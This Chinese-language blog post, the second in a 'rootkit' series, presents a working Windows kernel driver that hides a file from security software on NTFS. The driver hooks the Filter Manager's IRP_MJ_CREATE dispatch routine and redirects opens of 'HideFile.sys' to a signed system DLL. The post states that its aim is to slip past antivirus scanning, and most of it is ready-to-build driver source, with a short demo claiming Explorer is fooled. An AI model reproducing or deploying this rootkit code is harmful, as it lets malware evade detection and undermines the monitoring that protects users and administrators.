文件系统】"/>
Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】
文章目录
- 前言
- 探究
- 代码
- 演示
前言
文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。
探究
现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys
这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。
为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName
NTSATUS ObReferenceObjectByName(_In_ PUNICODE_STRING ObjectName, // 驱动对象名_In_ ULONG Attributes, // 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE_In_ PACCESS_STATE AccessState, // 访问状态,一般填 NULL_In_ ACCESS_MASK DesiredAccess, // 预期的访问值,一般填0_In_ POBJECT_TYPE ObjectType, // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode_In_opt_ PVOID ParseContext, // 一般填NULL_Inout_ PVOID* Object); // 输出对象指针
于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。
代码
#include <ntifs.h>using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(_In_ PUNICODE_STRING ObjectName,_In_ ULONG Attributes,_In_ PACCESS_STATE AccessState,_In_ ACCESS_MASK DesiredAccess,_In_ POBJECT_TYPE ObjectType,_In_ KPROCESSOR_MODE AccessMode,_In_opt_ PVOID ParseContext,_Inout_ PVOID* Object);// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;pDrvObj->DriverUnload = DriverUnload;if (RetrievesKernelUnDocumentFuncition()){if (HookFltMgr(FALSE)){ntStatus = STATUS_SUCCESS;}}return ntStatus;
}VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{if (HookFltMgr(TRUE)){// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。LARGE_INTEGER liDelayInterval;liDelayInterval.QuadPart = -1 * 100 * 100 * 10;KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);DbgPrint("[+] UnHook FileSysDriver.\n");}DbgPrint("[+] Driver unload.\n");
}BOOLEAN HookFltMgr(BOOLEAN bRemove)
{UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");PDRIVER_OBJECT pFileSysDrvObj = NULL;PDRIVER_OBJECT pTargetDrvObj = NULL;PDEVICE_OBJECT pFileSysDevObj = NULL;NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;ntStatus = g_FnObReferenceObjectByName(&uszTargetDriverName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pFileSysDrvObj);if (!NT_SUCCESS(ntStatus)){goto free_exit;}pFileSysDevObj = pFileSysDrvObj->DeviceObject;if (!MmIsAddressValid(pFileSysDevObj)){goto free_exit;}if (pFileSysDevObj->AttachedDevice){if (MmIsAddressValid(pFileSysDevObj->AttachedDevice)){// 取到的就是FltMgr的 Driver objectpTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;}else{goto free_exit;}}else{// 说明没有过滤驱动,直接使用当前文件系统驱动pTargetDrvObj = pFileSysDrvObj;}if (!pTargetDrvObj){goto free_exit;}if (bRemove){InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],(LONG64)g_FnOriginalCreateFileHandler);}else{g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],(LONG64)FsCreateFileHandler_Proxy);}ntStatus = STATUS_SUCCESS;free_exit:if (pFileSysDrvObj){ObDereferenceObject(pFileSysDrvObj);}return NT_SUCCESS(ntStatus);
}BOOLEAN RetrievesKernelUnDocumentFuncition()
{UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);return g_FnObReferenceObjectByName != NULL;
}static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);PUNICODE_STRING puzFileObjectName = NULL;PCHAR pszProcName = NULL;// 预定义重定向路径WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);// 做一些前置检查:// (1) Irql级别必须在PASSIVE_LEVEL// (2) 当前IRQL栈不为空// (3) 当前IRQL栈中的文件对象不为空if ((KeGetCurrentIrql() != PASSIVE_LEVEL)|| (pIostkloc == NULL)|| (pIostkloc->FileObject == NULL)){goto goon;}// 只处理Explorer.exe进程文件打开情况pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());if (_stricmp(pszProcName, "Explorer.EXE")){goto goon;}puzFileObjectName = &pIostkloc->FileObject->FileName;// 过滤出要隐藏的文件if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys")){goto goon;}// 将打开的文件路径改为预定义的文件路径实现重定向if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR)){RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);}else{// 尝试释放原来的内存,防止泄露if (puzFileObjectName->Buffer){ExFreePool(puzFileObjectName->Buffer);}puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');if (!puzFileObjectName->Buffer){goto goon;}RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);}goon:return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}
演示
可以发现Explorer被忽悠了。
更多推荐
Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】
发布评论